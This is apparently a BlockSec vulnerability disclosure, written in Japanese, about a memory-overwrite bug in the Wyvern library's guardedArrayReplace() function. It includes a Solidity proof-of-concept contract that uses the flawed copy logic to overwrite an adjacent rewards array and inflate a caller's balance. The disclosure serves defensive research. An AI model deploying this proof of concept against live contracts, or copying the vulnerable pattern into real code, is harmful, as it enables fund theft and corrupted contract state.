はじめに
弊社の脆弱性検出システムは、以前OpenSeaによって使用されていたWyvern分散型取引プロトコルに属する、Wyvernライブラリの最新実装においてメモリ上書きの脆弱性を発見しました。このバグにより、任意のストレージへの書き込みが発生する可能性があります。
プロジェクト(例:Eメールやソーシャルメディア経由)に連絡を試みましたが、現時点では返信はありません。OpenSeaはSeaportプロトコルに移行したため、詳細情報を公開しても安全だと考えています。さらに、このバグ自体は少々トリッキーであり、エクスプロイトは非常に興味深いため、これらの発見を共有してコミュニティを活性化させたいと考えています。
説明
脆弱性のあるコードは、コミットハッシュ4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9の公式コードリポジトリで見つけることができます。
具体的には、このバグはArrayUtils.solの_guardedArrayReplace()_関数に存在します。名前が示すように、この関数は動的サイズのバイト配列(すなわち、_desired_という名前の2番目のパラメータ)を別の配列(すなわち、_array_という名前の最初のパラメータ)に選択的にコピーするために使用されます。この関数はワードレベル(すなわち、0x20バイト)の操作を実行するように実装されていることに注意してください。したがって、コードロジックは、除算の計算結果に基づいて2つのステップに分けることができます。
商の部分(すなわち、_words = array.length / 0x20)については、42行目から49行目までのコードロジックは、ワードごとにdesired配列をtarget配列にコピーします。このステップは期待どおりに機能しますが、39行目のassert文は整数算術のため無効です。

前のステップの後、除算で剰余が生じる場合、正しくコピーされずに残っているバイトがまだ存在することを意味します。52行目から66行目までのコードロジックは、これらのバイトを処理するために設計されています。残念ながら、52行目のif文は、剰余(array.length % 0x20)ではなく、商(words、すなわち array.length / 0x20)を誤って使用してチェックを実行しています。
重大度
このバグは任意のストレージへの書き込みにつながる可能性があります。_array.length_が_0x20_で正確に割り切れると仮定すると、コピー操作は実際にはループロジックで実行されます。しかし、ほとんどの場合、関数は脆弱なロジックに入り、desired配列の後ろのワードをtarget配列にコピーしようとします。これは、必然的に境界外アクセスを引き起こします。さらに悪いことに、誤ったロジックは、target配列の末尾(任意の目的に使用できる未知のメモリ領域)にワードを上書きするために悪用される可能性があります。
このバグを悪用する方法は?
潜在的な攻撃ベクトルを説明するために、PoCコントラクトを開発しました。PoCコントラクトは2つの関数を持ち、最初の関数_test()_は攻撃を実行するために使用され、2番目の関数は単に脆弱な_guardedArrayReplace()_関数です。
具体的には、test()関数内で、まずいくつかのメモリ内のバイト(a、b、mask)と配列(すなわち、 rewards)を定義します。ここで定義された _rewards_は、ユーザーの報酬を計算するために使用されます。_guardedArrayReplace()関数を呼び出して_a_を_b_に_mask_でコピーした後、 _rewards_がユーザーの残高(すなわち、balances[msg.sender])に追加されます。
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
ここではRemixを使用して結果を示します。当初_ _rewards_と_balances_に値を割り当てていないことに注意してください。エクスプロイト後、ユーザーの残高は非常に大きな値に設定されます(赤い長方形で示されているように)。

結論
まれではありますが、このようなメモリ上書きの脆弱性はスマートコントラクトに依然として存在する可能性があります。開発者はメモリを操作するコードロジックに注意を払う必要があります。
BlockSecについて
BlockSecは、2021年に世界的に著名なセキュリティ専門家グループによって設立された、先駆的なブロックチェーンセキュリティ企業です。同社は、Web3の世界のセキュリティとユーザビリティの向上に専念しており、その大規模な採用を促進しています。この目的のために、BlockSecはスマートコントラクトおよびEVMチェーンのセキュリティ監査サービス、セキュリティ開発とプロアクティブな脅威ブロックのためのPhalconプラットフォーム、資金追跡と調査のためのMetaSleuthプラットフォーム、そしてWeb3ビルダーが暗号世界を効率的にサーフィンするためのMetaDock拡張機能を提供しています。
現在までに、同社はMetaMask、Uniswap Foundation、Compound、Forta、PancakeSwapなどの300社以上の著名なクライアントにサービスを提供し、Matrix Partners、Vitalbridge Capital、Fenbushi Capitalなどの著名な投資家から2回の資金調達で数千万米ドルを受け入れています。
公式ウェブサイト: https://blocksec.com/
公式Twitterアカウント: https://twitter.com/BlockSecTeam



